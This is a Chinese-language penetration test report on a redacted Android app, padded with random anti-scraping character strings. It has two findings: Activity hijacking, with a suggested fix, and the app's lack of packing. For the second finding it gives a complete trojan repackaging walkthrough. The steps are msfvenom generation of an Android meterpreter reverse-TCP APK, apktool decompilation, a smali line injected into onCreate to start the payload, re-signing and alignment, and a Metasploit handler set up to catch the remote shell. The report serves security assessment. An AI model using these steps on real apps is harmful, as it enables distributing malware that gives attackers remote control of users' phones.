原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

* v6 \/ p7 F. Q% e4 J 5 v7 e1 h) ~, U( j. D( D; f

6 d2 C# q }& o' B) F: k: y* g$ O

L2 J* ?' m/ r$ F2 f5 N# U5 o: a

' @$ O. z$ G7 |0 g4 v& H a$ S {% P/ N" e 文档编号：                ' K+ u* F, L& I4 T' @

* E$ n! w: B/ d; ] $ J# `/ ^" i" S

4 p5 S; {8 J, `: g& ?/ K   9 }+ |! _& N$ s [4 S4 C 2 W$ P9 M6 T* Q

. u, F8 t% i( p/ v( S6 r. D

1 f2 `2 [2 Y4 w! D+ b+ g9 w . z. e) x! t8 v8 M( k9 [% M: ]. X   , v( p- l1 V% I/ H4 ?) p

6 m2 Q6 O- I$ i1 A2 q1 K

+ a7 ]9 v d o2 U% [: W  

! M5 h6 U/ T# g5 x Y# O% p/ y' I   % E' @% [7 S2 U" e* t/ ^( O# A

0 F: r7 c% Y: f+ ~ ! f6 d1 D! q6 b; u0 {4 O

3 u h; H9 n& N; N  

% m4 K5 y- v6 R' T9 U , [: G( s {# Y& t4 @3 U' ~, ]

某某某APP渗透测试

5 |6 U# @" N8 [& W

' w+ D0 g) z: \( q 6 z6 V# T2 y/ |   4 ?1 ~4 ` \1 N/ T9 e. p

3 F- F- Y4 _4 j2 e3 I. I

7 b9 C7 J5 W8 a' `& u   + w' {' K7 m% B& a" r

6 ~7 j U% |4 a( `( K! r! P $ E$ i2 R; i7 e) ]+ A; G1 q, j/ i

, I+ i' U6 E F0 z 4 L: R* B7 M) S, T z" I! G   1 I6 \) v$ o7 |' o+ s( F) e

  7 }' \2 B( R( A$ _ / z# h8 ]# W7 M4 O. O( v$ M

+ i' H0 Y* y1 E, f% R3 { s " [7 o# s( Q! G# b* \ 技 术 报 告 - R% ~8 n/ r6 ]! G 6 t& p/ i% ?* D' @

/ g, U, E( Y% b1 v* o$ W+ H# M& x8 b

% I: h9 M- Z w$ g. h   ; q3 ^1 ^% i4 p( Q- a 2 h% a2 D8 t$ y4 n

# x) _5 ]1 O1 Y( J% H . i2 }1 z) P8 T2 g l5 E; B

" f& R& O& m* N' o' y   5 _ k* \1 | v6 p

, y9 Y) ^8 a* O4 F6 j7 Q

  + k( Z" I; x. X/ x1 r7 h+ V4 A

5 }7 f+ n Z# Q% ]; a2 S

3 h. _! N; i6 i U % `& J! z; b+ N5 R" P2 M   - s& G/ [) l8 n3 B

0 Y6 J+ J2 {2 Y4 [3 i  

F2 Z6 ?2 s/ z& M0 C

7 D* L& V! ~+ A( y2 y3 K! P   8 y7 y# b8 y/ Q

* m7 g8 I4 g4 i9 V) \; T

  / B& C! f) a2 z( N3 F+ q4 g: `8 n $ D9 }& g; G6 e5 P. W Q

* q) f7 Z4 o# f: K2 E 5 I7 {; U2 \/ \$ O. R

  , d. [3 m( P. d# m: c! _

* e: [$ L7 c4 i/ c w

, w, ~. L5 d$ B( F3 A   # c4 s( q- e. P- U

$ S; p& _+ n9 }# r7 F   3 z% d5 X: @* |! ]: z# H4 j$ X

6 ~) h* m1 n" w. \- @ 0 L' c' H: X$ J, ?: w

8 Q6 u: o) x$ i   # Y2 Q1 S% m0 w9 J5 o) ^

. Z$ h) \. I# S6 U+ S7 u

, _8 \* a' m- n$ g   1 m+ y3 W* G/ `8 n9 }

  3 Y1 b) W6 B% u9 D, d8 o9 K

: I+ J* C/ b. `! y+ s

# ~1 O* X! B: q 4 `9 A. H/ T" \4 Q( s& d+ ^   ' h1 \; j* @! n

4 J: G. m0 L. T0 C7 u( H  

n1 @' L; m! B9 B   ; e% l4 a U7 H# @! {$ p/ c; h

: |6 D; W% b7 M% b 5 T7 l$ X! l& \# B3 H' C6 F" q

" Z7 p4 S7 Q2 c5 c# `2 \ 7 j5 S' M0 F; p3 W  

7 B" T6 a' M$ F: X8 o* {/ S  

1 ~2 W1 a6 ]4 X0 D. R9 p& @7 @ 二〇二〇年 , r/ O4 G9 _2 {4 j & U0 X2 X3 j, e& q8 [

$ J1 c- m, R; [% Z
# M# ^. D0 t8 s/ k* }8 ^& K/ ^0 q 1 S: F, u% Y2 z % w( E& u5 l7 ]8 s% Z

% _! y$ k5 E5 p- E* ]% R7 o! y& r 1 q: w( ?9 O/ g) K% m
$ f) Z4 I# ^& F; f5 G1 \& |

% H/ M( F% y3 ~, u+ k( s M) W2 K

, E$ f+ { r( D$ W. U5 R$ ^# \: i8 e 9 c' N3 `+ K' C 目 录 # k9 N& \: |. ]; ^+ U6 d5 F " T- ~5 o4 w0 N# f( i9 k0 }

; I' g! D J8 t+ g7 T3 `! s4 v: S

# B) Y8 ~1 r/ O7 | 5 K/ F' k ]0 j# n$ Y  

9 R7 }5 x) R; p8 O& f 7 B1 u9 J& X( _& | O( K

& b2 ?8 W6 d/ D3 P+ w! ` 1 概述... 3 ' z9 \7 _+ \( g% F

4 O% _1 K. o! o: a8 \5 }" j 1.2测试时间... 3 . j; z, h* Q* X* p9 } p* x( ] 0 y/ s* C5 a9 H+ s' `

- R* J8 Y2 g- y# B9 z

1.3测试对象... 3 ( Z- b1 i2 Y* [9 r9 J! m5 E" E

9 _, v% b: u5 s6 M

7 p) P, J: n8 Y' r" L! C# I6 o 1.4测试结果... 3 1 F1 c5 L. x2 b- p" j0 P5 O " N$ `! L r: b

@+ m$ R& U, s* h# H1 C

2 检测结果... 4 0 T- o) Y1 }" ]! ^+ S

! ^. y9 P6 \' c- H# B 2 J- S5 p+ A2 I

2.1 某某某... 4 * n( V% X( L7 D* F( X9 {3 D" R3 S

! R( ^+ @! s4 Y$ i: ~ & @% |6 b# O/ J

2.1.1检测目标... 4 ' g1 C$ m' i4 z. f% I

! b+ c% Q$ [4 I8 }+ ]1 k, ~9 I

8 A1 R& r) D! m/ d- _* G8 E 2.1.2检测结果... 4

% m- c6 C/ x( O1 c" \0 W! C4 C+ s , f$ O; J4 \& E+ e

' j- p5 x& X( ~1 F4 F 2.1.2.1. 4 ; G! j! k8 ~! N1 X& |

$ a4 u! o$ p) m$ ^

2.1.2.2. 6 z7 E9 @; o% k; \; ^

+ a( V* c# F7 o$ {$ {. B. Q 5 v* q# ^3 c; S7 Z

' j4 Z) ]8 A' e8 z% T 3 l; l& X% J* O& t

- d" [( ^$ B/ K) I0 R3 v ! _+ \2 C& w6 P' h: r. y / `' |7 W6 i# y$ K; W' S

q6 R) N a+ C& A" y$ \

/ W5 Q9 V- X5 z 1 概述 ! M+ z' ~: `: ` @- `) S3 w2 L, V g2 g

6 |. J3 h/ j' l0 N( ^0 C/ S) b 1.2测试时间 % q. W4 b. u- X+ n3 z

% f! S" I. y$ w" |# h/ K 1 F1 Y6 L) `+ T ^$ \ 7 p4 F+ y _3 ^7 {0 b0 c5 d2 R, S( P/ x: ^6 _6 L0 P7 M* M7 Q( |% ]' H7 `2 R1 ?1 L% K3 M; F, {9 J j5 q: B# E1 r, G+ E" F, r* e& {2 @! D$ d) o% J/ I4 d# t1 x, r/ o9 h9 k: K: Q; E9 Z, Y0 o; u- G9 l6 L% C4 K- p- f* ]/ i$ } h& M! C+ L9 ~1 r" g3 _5 t& i/ |7 W c% ^9 m6 W% W9 K1 N- b2 Y# U) \0 h5 [$ P2 H! S3 R. C6 ?- M0 U! g# U/ |

]) Y% N3 |% m% d( D+ f 渗透测试时间 Q1 m) O# j# L8 k1 v 3 x' L4 U) e2 ~7 j, C
# Z. F7 v; X% ^' @: d- G( i6 |. n 0 K; M2 h/ L1 y. r! y 起始时间 : y5 A. Z* Z% O' c4 [" p3 C& k 1 F7 C% H. V8 b; p! B8 a% U	1 q# c5 h/ P0 E! L7 K3 }8 c 2020年4月6日 9 ~) e( d' w# f% p0 n
' w `' e; ^* p* M * O% j. ?- r( W; D; H/ { 结束时间 ; s6 {5 o4 k& R	. a* t4 u0 x+ F9 ` 2020年4月9日 6 s& X# ?2 m; @, z 6 t% @, E0 o; R6 ?5 S

8 s9 M0 o- ~) X7 t1 t$ x

% V. w2 T& ]( T) Z0 a2 u5 ~ 1.3测试对象 5 p' U4 G$ ]3 u" X' K& _ ' N0 _% W5 v$ g' S

, `& `- v+ N8 ~/ F$ B5 e

: ^2 }6 t) |9 G- u- B 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示：

: A9 v m$ L3 ?( r B0 ]

7 F" C0 I$ Q2 B5 s/ c7 m 表1-1 检测对象 3 s- w3 T# K& w- b" u' r* { - O$ R# N! ~2 [ A: h9 e

; |: K# g) M9 u+ n# P ( l& Q% u i' C. v + s: s4 B( t( r' u+ I. a7 l* ^5 t( M0 a. @- X! M8 Q s9 Y, \4 a" j/ A% t' k; G7 [9 ^6 |/ K. K7 F& S( A$ B( n+ q* Y" ^& }) t; J" ^+ h, U+ `) b+ o4 D; i2 Q8 p7 r( v& E+ J- _) ~1 o9 K: U2 [( Z/ Z* b( `! g. t/ p0 P3 W) n4 A9 g" y% w I/ x& D# \7 B+ h% x3 I5 o) l; C; q2 T. B C0 }/ c4 k9 R$ f9 V# b0 ~4 |3 J9 o. t( F/ }+ T/ }4 l: }7 u, `* w& r0 O8 W, Z, `- V$ ?% T& Y' F2 r; j' l* K) q2 M9 n" N; d* E& d& G4 v! Q: _' I- d

# E! W+ c B! i. {9 c9 [ 序号 4 }9 s% y% i; Q1 a 2 A, e: F! I" p+ I/ y	; e7 j+ N( P$ F # l- a1 ~6 q- V0 \ 测试对象 2 c5 F. z0 A7 n% E. K% S : \& z% G+ e9 b1 I3 B+ D4 l& b 0 s. D3 j a8 W& C& s	! ~2 j# x0 t5 c. F1 d& B" W5 ~8 l , ]' c& c/ m5 h7 H; G6 e 测试地址 " \( `6 i, Y; G. J6 J9 W 6 B- b* y: |, |3 q( R# O / n: r! v7 C }4 D6 Y; _3 {	. B4 d4 t/ {/ k5 V - ^- i. P8 M+ s- s . z! P' b, n5 H+ C7 u: l3 o5 r 3 e2 Z" {; @, h" Z4 |) q& `; x9 v% M 安全漏洞 " h; _; B( n8 N0 q$ u v 8 Q- v* y p, X9 u- G3 s* `
$ j8 N4 ] B* _$ q$ H' B' S 3 ]: r0 a7 ?0 s: A1 o; q+ i2 X3 B # R9 a1 p5 k- H* y/ v% K" T 1 K& o! d7 T& ^( d. \) E ?- R 1 8 z {& `" Y6 q1 O8 ], ? ( J5 z/ J4 X$ T3 n1 \ ! ^- e& p' E6 H/ C) a; Z	某某某安卓APP 0 q5 [% e _! ?/ r * i3 D1 v( j" e0 R# W	" ~; [+ z4 A& Y 5 G3 |, X; Z; ]' ^7 L& O$ T P3 W; `8 f5 e4 L' \5 r   0 X, i' y& I7 |$ J0 n 6 D; [8 T3 c: C8 m* [ E; L4 L% j& s- L+ T	, @) Z9 V0 j3 l5 C v! k. `% D% f0 u / a0 I! I% k5 n3 _6 F+ g* N X3 e 2 6 c+ s$ B# @: ?/ a1 m

! B ] a3 o3 z9 [2 b/ a7 |; { 7 O# B$ v% e+ x5 F6 e6 D

5 ?2 [& m, i0 Z. n 1.4测试结果 ( X( N9 G, t' h* x# u7 D 6 m; `! o( {( g4 l- p

5 `# w$ `- w- X- Y; Y; O , U7 \+ A% b) Y* b) C. w- x

在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： ! T D t8 G7 y& i- q/ ]

( ?% q. I/ W0 F  

) }- X6 h1 L: A8 x9 V

" @7 A. U/ O4 M" S& P0 i+ R4 Q* e( ? ) Z. J# ^2 ~7 ] H: J4 ]2 U & h) a" U9 N& s$ s& j. r# R0 z, M; W+ ]0 _) @' H) J. k( ]/ z6 v! f5 K, G7 j/ e2 o/ R# b. C [% F5 K8 g$ i0 a s8 ]. X2 b* |6 _# W+ M$ l* g0 m C% p/ `% ~) M R! v L5 o! {( W$ F9 j# ^2 i7 X$ C4 P; @ f- M _, w* H' G& W0 j4 D" v0 s9 x5 j$ G: v( J( m& e# j9 k% p z/ Z- k" }( ]" d# K( ^; q) o! L# w. f ~4 y% b, H( z# j( f! j s0 V# T: g- i* A* E; l4 ]9 v$ O9 L1 n% Y, X1 P& q! a, C c4 l6 ?9 i) L# ~' P# p& C% k% q) H2 I( O& J" M% O/ |! a i7 N& b( c2 B1 }5 _$ F1 _- B. a$ |; S! A+ _0 A1 e) n3 p% c- a% N8 A# ` J( ~% p& i ~6 K. k9 V2 o `; i7 D G

/ q1 `+ X7 k P8 `7 Y" R- m) v 序号 8 m& P9 \/ z3 l# M9 z) W/ H & \& j6 m- O# G$ c6 A5 K4 ^	: {+ F: F! \+ Y3 s* e; u |' H , S6 z6 M5 D0 _0 {6 o# z 系统名称 # P! _. B( g$ o- M* V1 Z 2 K6 n) e0 z; M& r5 ^; I5 h	) X5 h# U! @# K6 M : `5 N8 L" m$ _$ K* u" s) v! } 漏洞名称 9 l, f, t& F4 L9 c/ Q' i8 P# a; a	f6 Y, J$ V! P8 T4 r/ Y, X4 J! @ ! V- S: R# k5 A9 k 3 s( B* ^1 f% s" K& y 漏洞危害 - a+ Q7 k" ~) O9 Q	7 }! ?# u/ u' q. `1 b( z4 A* _ 8 }- o3 w+ R3 }/ h* `1 c : C* P+ l- d: O- U , F" Q' `; C( ?% T 修复结果 ; e9 G+ H) i# J+ G4 O; z& @ % u: R1 G2 c! R& | 5 `8 W) w' f% P6 j
9 Q7 G7 v$ f' r 8 v, L$ K' X! z, ?, G # l6 U# z5 m S( J 1 5 g& r" |- M, H# a % s: p Z) m2 C5 V) F	某某某某某某APP ' d: i( v2 {& h3 ` % o8 i x+ _0 d 7 G" b. Q$ i5 N' M$ o& L* N	, }1 B* k9 P. |$ R8 h ' l9 o4 y+ Y; k9 j9 r . T, V: Y" \* i, G/ h Activity 劫持 . X+ a. L) j* U6 H0 R 7 ~$ c/ x i& w* x4 ~$ |" s5 l 0 q, P* v7 v# w9 i. p; {& N9 x   ! E. U8 Z& o! S) P! {8 \ 4 m- `9 i/ b4 @8 F	1 s. S; B9 \3 M, i! e) M: Q : v- j, P, J; I6 l- w 高 / h7 z/ O4 R) ^0 k	& M( M1 ^, k: _% ], q! l / R, e2 H6 F7 Y) e   2 I8 b, o+ T( ]- f5 @( ` 0 x# ^/ z# n& v% d' t8 Q0 J
% `2 ~4 u+ i% X/ `4 [" Q7 ? 2 . x* G5 s% U0 Y. ~, I / D1 O9 e9 f" I, J	某某某某某某APP 4 q+ v$ Q! A* d. A ( h0 Q4 p4 L6 Z0 A* M% k : q& [/ T9 c1 c2 F6 n	7 R+ ^8 V" b8 F( g8 X ( T+ l6 z7 f% B 反编译二次打包捆绑木马、篡改APP代码 u$ Q. k5 U* N) V	% C, Q6 N. j% K! [% ~3 S; { 9 k+ K2 Y3 f' v+ s& H( O 高 - c6 s5 \8 E5 h6 b+ g " \2 w) a6 \% q7 p& O* h$ K	+ A v4 C0 m! v3 @* \5 V0 @ m% Y2 Y: G% T; | / t" S9 J. a3 J- d* k* N1 G   . h& c" S- W9 V0 M; K : l3 u, a- D5 U8 S. ^. Z2 q 5 v; r8 z4 y, C% Q, Q

" E- w" @; Z0 R" Z7 X. {

- M# R# F& \- @5 \% ?# [1 l3 q   : w5 E. D3 C$ W+ o* A* s m1 M

% W1 p9 X$ J, k/ s

r6 [9 P1 w( M% F9 l @% c" c 6 c! c- j& p2 G5 w+ ]4 T 表1-2 测试结果 # M, L. E( q, u6 c4 B

Y3 V. `- b# T5 _6 G8 f2 G& p* D 3 G& l8 e) O0 `' j+ C) r) U( m/ q

( J- ?5 Q: a' |. }$ _3 e - h" c! J: R2 R7 M$ v   4 v3 C, p# E( @( R# S) z! j# @' _ % ?4 ?% h6 _: O3 A1 `+ M8 A4 w" c" I

2 E; a7 ]0 B* k2 B

* J( Z. J- Q% U 2 I7 J% C$ v6 }4 ?+ P5 Z3 O" X 2 检测结果                    1 g- ~# F* Y- c. y! y% T

2.1 某某某 6 s1 a7 m! @+ ]- ?8 T% f 5 ~9 i `! f& A9 [: Y' J$ G

2.1.1检测目标

8 ?: f/ B6 b4 b7 K. J

目标地址： 某某某某某某APP

4 h# y7 [5 u' H0 z' T # Q' ~" l- x: x9 A% f, Q7 i p! o

- ^5 z+ x7 B: g; k- c: R ( I- Z+ [+ A7 J 2.1.2检测结果

! y' M6 v1 v" `! h/ Z" k' m# E " }: r9 ~5 d8 g! p

- y& F! l+ z( M 2.1.2.1 , s/ c8 M9 |5 U' Q# V

* [ }4 Q2 K- h3 [/ H- V 漏洞链接地址：某某某某某某APP

  + |/ T' d0 X( U( p) G- X/ g6 F3 c0 Q; E, ^

" s3 N5 A. |- d* ?; x9 M ( L) O( }5 @& ~$ ~( h0 R _% C

漏洞分析及取证： / c5 a' d) J9 w* b6 {( D1 Q' C 3 G" N% V9 U2 d0 p4 ~ \

" [. K, Q. s q* c2 V

1 K6 X o% Q: d. E/ S4 u                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： 1 [# ?- g" B7 L: {7 Z 1 x* I# h1 x' t3 g7 C+ Q# l% D5 T

' M2 n3 b+ D) i3 b 5 ]( u9 I4 N! ~% D6 K \

: s8 ]3 ?5 ?: o / e& @- p A* g6 P; }     

                      : c: H! _2 v% B6 {! h) I4 n

. S/ e+ R2 v7 } " O0 J8 t2 }1 L1 M8 f

- n8 O$ u7 U* u+ A9 F1 i5 |6 Z . C2 D9 |& J: ^) i 8 d" g! [3 f5 o/ T3 D# W

- n& i/ v8 B5 W, U7 j# S ; ?7 j' O8 o! d, K6 X& s ' ~( ]8 T! m7 S! r3 y: u# R

' u; P5 {5 X. @6 V4 p

- a; U" v4 @9 o* ^ / w2 I; E0 u1 f9 d + Z% T) k$ o ` |% T _& ?3 X+ `9 b

4 C; U w, d d# x `7 \

: t/ E _: d2 M, m: Z 漏洞危害：高 b% c; J3 c& ] ; ?0 P+ ^; a* N; k$ K* o, S% h

, a1 E! k2 W# t% K, Z# ?) M: u: |$ D. C. u; N! m0 [" F. y2 o, G. S* m# m8 i; k# j- q8 w% P% H0 _. u3 N. \8 c2 x [( F( v; Q0 B1 A; p" E3 H7 f7 w. b+ H* n+ B1 B. Z8 u3 h$ k, v7 m8 s `9 H+ g1 c1 H2 o/ c0 U- `& C. d+ s R I. s8 `1 B+ r: o; r) N$ n: \5 v$ S: s

( S; ]. p1 ?" R/ [& Q" H5 R ; E' U8 b$ S [# ^ G, J8 y/ a 1 H( g% i3 A$ P# q% ` 严重程度 & R* W, t! h# _& E' `/ F/ ^9 B 3 _0 @" W4 G/ E) k& w 8 i; x- M* F4 l6 X9 K	+ N0 s! X( c7 ^& p 1 x& t# j4 _$ P% s- x7 Y 高 ' A. e4 e7 j7 I- \" r5 O7 i3 x - K/ O! p+ g% \/ w6 k 4 X" J7 [ b4 m, [4 w	6 U) U( O u$ a " B4 P) e7 ?" R' j" ] Z3 L, U + l5 u# c. N2 o9 L+ N' z7 V% u ■ 7 W6 ]7 A, G2 w/ J) K6 E0 ~1 o " x, Z; Y# a* X, Z2 s% l. J! H 1 E# e8 [. \ d( ^0 V7 K" E	" x6 r( j& d4 ? 中 2 t, i2 q$ R1 u% B# L3 M/ c4 ^ 5 _1 C. }$ S2 G6 b 0 E# V2 p3 b4 ^. K; L8 G$ Y8 m	8 R \. c9 g* a6 o$ V7 ^ - }, X0 s, ^3 x# M) {9 n9 z 1 t, X6 |- `( |1 ^5 q 0 y" I3 ~+ F: g2 G) @   / U, h: Q8 ?+ T1 f6 I 0 v! Q' J$ c( U& p3 b4 L	1 l/ U/ x9 \2 i! e0 d# K) _. F; t 9 J7 c' x( @! ?2 C& j% O+ [' R ( X$ j$ Y# m6 P& g 低	# q* g, ^, A$ ?/ Q0 J8 X. z* _ : r8 B& J* K$ L* f / |" M: Q k) Q9 i% [   ! l: c: B' y+ `' B0 y

% }. M+ S3 \1 G2 w; \. a

) f) S S9 x) A# |) n. _% k6 p   $ P! C2 k1 B6 ~& z5 A5 K v* G

/ v2 [; X6 E( u0 p$ s

/ n3 I H& o% Q$ f, C9 P 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。

: {- x* f+ M# \2 y

4 }+ ]& p# y0 R. o # t( _$ G1 M1 s: _          

( r) R( r7 t* u M: ~9 x" C

5 S& R4 F/ N8 U1 ?8 |; Z4 H1 I   # o/ m% l( W& o+ H7 D; I { " C: Z. Y+ s8 k' q

6 g: T0 W. b& p4 V) T4 K 2.1.2.2 9 R, ?. n9 O3 Q1 f( o) I/ f ; Q# G9 s' n% e+ p+ S

$ o" i, m' ~3 ?( b% `, A) W+ m

2 R* [* L' i: T* w8 ? ' l3 {. C# @8 T. @ 漏洞链接地址：某某某某某某APP

; E9 L4 L/ K& Q4 J$ e3 i R

( q: f& s7 a. L6 F3 { ; l' N2 q2 _% e) y! U! T6 m 漏洞分析及取证： , k+ b, U, O9 c. w" ?% Y- ? d! g

# U% d' ]/ M4 V3 n5 [

5 Z* M. E4 X6 Q & d" L W1 W5 p2 A* d8 t( X0 v+ `                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下：

$ e9 }, L5 Y2 s* D 8 @- m& ?2 N$ p3 ^2 F! O0 y

4 M4 z( S7 [6 ?0 S, w 6 Z: N8 W/ p. y) _) |& b% b: e8 l 用Metasploit 生成木马 apk # p/ d- t( V5 G/ A5 x: r ; {/ ?" _3 a. P, q2 ]+ X6 P

/ U9 }/ s) F5 y, T 2 [! z! A7 V, a$ d* K7 |9 b8 x2 ?) b

/ L0 q; c0 n r4 x3 w7 I' z 8 a. S% W8 [; U0 f msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk $ Z6 P& y0 ?/ B * T5 L5 E* i2 B. C

! O( n( w; |/ B' o2 { 反编译目标apk和木马apk ; f% Q: F4 S# r; V/ D, B

( R, t0 u* Z* }8 a `

* Z( r# S1 M9 ^" d- n2 ]4 h, u apktool d target.apk
. Z& U2 S" m h2 z' f apktool d cockhorse.apk 0 ?! E' t5 y3 B! U

; f# n! N$ ^3 {( D " Y' T7 D2 j o: j

# _4 k2 [' L8 L8 X2 h , _, w1 A- Q! T8 H$ |* v/ n 木马 apk 注入目标 apk 9 P7 y, r0 ~; ^, [8 e 2 T' W- l, ?" W) @/ m! C

+ w: ]( }/ S# h8 W/ w$ ^. H% C/ E

在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
x4 H) d) B1 X2 M- p ( E' o4 x, Q( q7 A6 V+ f6 o invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 8 G; t% h$ j# n6 i$ f! p% P 5 f" ~1 R( z5 U

8 s; I$ ]0 C6 D; }. ~ B" p , Z6 d- y6 b' k- m: u' Q# f 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 7 ~3 q# w4 \, B4 U$ W7 [4 f; { ' Q! X- Z, B. C9 r0 ]9 ~ k' Q6 B

将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下

5 ^9 J4 E; t- O% f. H 回编译生成最终 apk 9 s3 [. P" ~7 E, p: ]4 X

u' S8 w! [: x8 A+ A 重新打包 / q* ?$ F/ m3 o. h( H' j2 ^

1 \5 M# O, B1 F% @5 H& H 3 r8 O' n$ N8 L3 ~( }: b

7 X$ u8 H! a' h4 E apktool b -o repackage.apk target_app_floder 0 x% Q6 b/ H' N5 H

7 |& P2 R4 D' W

! ]- {* r* ~! a" u6 ^ ) p: z0 u* p1 K0 |8 k 创建签名文件，有的话可忽略此步骤 + P- }6 {( d# Q% y! } 7 n4 c) j% a- O1 e4 d. d) P

keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                9 y# B' Q# _! _

) I5 R9 x) f5 w9 {' ?' E6 d

签名，以下任选其一

1 g2 x o4 ]8 D) G& F" x5 v! t

) J5 v' Z" k0 Q2 F4 l jarsigner 方式 , t1 H* G( ?! k+ L" O

- {' \ {! _( A" j6 w1 k # {/ v# w# h$ o

" Z8 A6 [, e" G& [: ? jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 5 D+ ]; p6 j K

~2 ^* L J: T2 K, \

4 j8 }* n% m$ ]. U4 m: Y" I apksigner 方式 |& d/ i7 k6 ]3 m- q C

. E4 n: _' M8 P

apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 0 ` f1 D% t* ^+ o! \+ m: n3 K; n . B5 u: _, s% E! a; J! w8 B

" \ v1 K$ U- ~ \1 R+ S

7 A2 [1 I' b$ D+ Z* @: X, A. t) ? 如需要禁用 v2签名 添加选项--v2-signing-enabled false & d7 k5 w$ S' \

& H$ b2 u. ]3 d

4 e* ^; v- W( C0 L7 R' O 验证，以下任选其一

* {1 a. E3 N% ?' I6 A5 j, I2 `' U jarsigner方式 ; d1 \; L4 j. ?# M- y S ; V. r( [ X9 _

$ [6 |! C- [, o! z jarsigner -verify repackaged.apk ! k, @' U& _. D9 c / F/ j. r) b, V" s" k1 Q

' s; B& C, i/ w% {$ l T4 z

7 C- m2 T# J$ c/ f4 b; U! p" a apksigner 方式 5 X$ ?& \/ J8 {4 j5 }' E8 `

3 \8 O3 L, \! Q9 h- J- b/ |; m , Y5 u0 G9 }: G5 ~1 V+ ~

0 r7 |7 }: g2 l, L apksigner verify -v --print-certs repackaged.apk 5 ~9 A& I9 z" v& v, N

; A4 Y7 @! t9 U) u

keytool方式

" j; r8 t ~5 d+ f. H( M& ] % q. ~3 s( G9 [. | keytool -printcert -jarfile repackaged.apk 6 }, _8 C" W' M6 l& f9 K. U ! t9 M- X" E1 R! @; z

( i7 f2 O' m% v& W " t$ {- g8 A1 h' U: ^& Z/ O

对齐 5 A7 o, M9 t, i0 ?6 c5 l7 F) ` 5 ^. P; e5 Z0 L( J; k

% F9 I3 z- N) a7 d

5 y# u% E. t% C/ u 字节对齐优化 $ `$ a9 M; b/ Q' y% O0 a! J" t

2 ~7 [& W0 G) v @$ c5 p" v

% s( s% l( T/ ^ zipalign -v 4 repackaged.apk final.apk % x' D# Q4 {' M& K2 G4 A( f' _# \7 a

; f8 c$ v+ b% O! K2 V

检查是否对齐 7 V$ J# R/ A* e# y# C' o, Z ( o- f0 n6 s$ b s5 M6 A& I

7 q' k/ C( P# @# Z0 A4 [3 | ' G% ?, y/ t9 ?/ @9 W9 J! m1 l+ H

# X/ J7 i! {! b% T7 t zipalign -c -v 4 final.apk

注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 9 j) Q; X) F, e0 `+ K

2 Y# a2 L2 T+ j

" ?! i+ y1 L' g 启动Metasploit控制台，配置参数等待上线 - @8 [$ k! x; N0 S; K* w3 O

8 {9 c. w6 [* M5 [9 A/ G9 s' H/ E

" F' a. A9 M$ S 在终端依次输入如下命令

* I; T; @0 K1 M 4 R( I6 l1 [2 O5 t0 n9 D" y

7 C7 C; X7 b2 l) ?% p- T: R6 Z msfconsole , \' I, H9 U2 T! \& B+ j

4 ~5 O+ [/ [ ?7 Z use exploit/multi/handler

6 p/ R% U* K" g

5 J1 m: i* d) j0 S& A set PAYLOAD android/meterpreter/reverse_tcp 7 |/ A, M. G" ~7 ]8 y

' v m% @ E& u) {/ z

& ~3 F' b! v9 T9 V4 n ` set LHOST 192.xxx.xx.xx 6 N( i) ^1 V4 q. E 6 z: w$ ]) @! B

8 ^: Q( U' F- c" J: W. q

set LPORT 4444

5 |, a x4 T0 `

% ]1 r* ~0 ]0 Q \ ; p" N8 U3 m8 k1 F exploit 5 G0 {7 G2 {& l" p # m9 |+ y& Q, y& ^/ N+ Q

9 c! _4 a Y# T

之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               W+ B; n$ G- z/ q C

1 m+ }/ S* j8 c; v9 Q/ }% R% t/ F

# Z9 S) i8 h* p/ ?5 i$ T- S 漏洞危害：中

' U" Z+ Y: l8 w3 w! g" z4 B6 v 4 t4 {# I7 O4 ^7 w N# H: T

/ U- l+ V7 w+ }3 y & Q+ T4 ~% t0 p7 H: d + p5 y- K: j, l' G) n$ n9 Z7 ]! y3 _) E; J! F. w1 p% q6 J+ |9 F; y! ~2 f, _3 B! M6 D- z1 p! w6 n, t& U+ v4 z. r V/ I! Z" S6 v0 Y2 A+ i, y1 q' I% [- ?5 F, A) f' o+ ^3 k- A+ ?6 c" f, q' ^$ y; T0 ~' p5 h# c: Q: r: _* J: o2 p3 B8 P% t4 ?# ?- K2 N! b, Z: [4 V% a5 q7 B8 P% ~" q

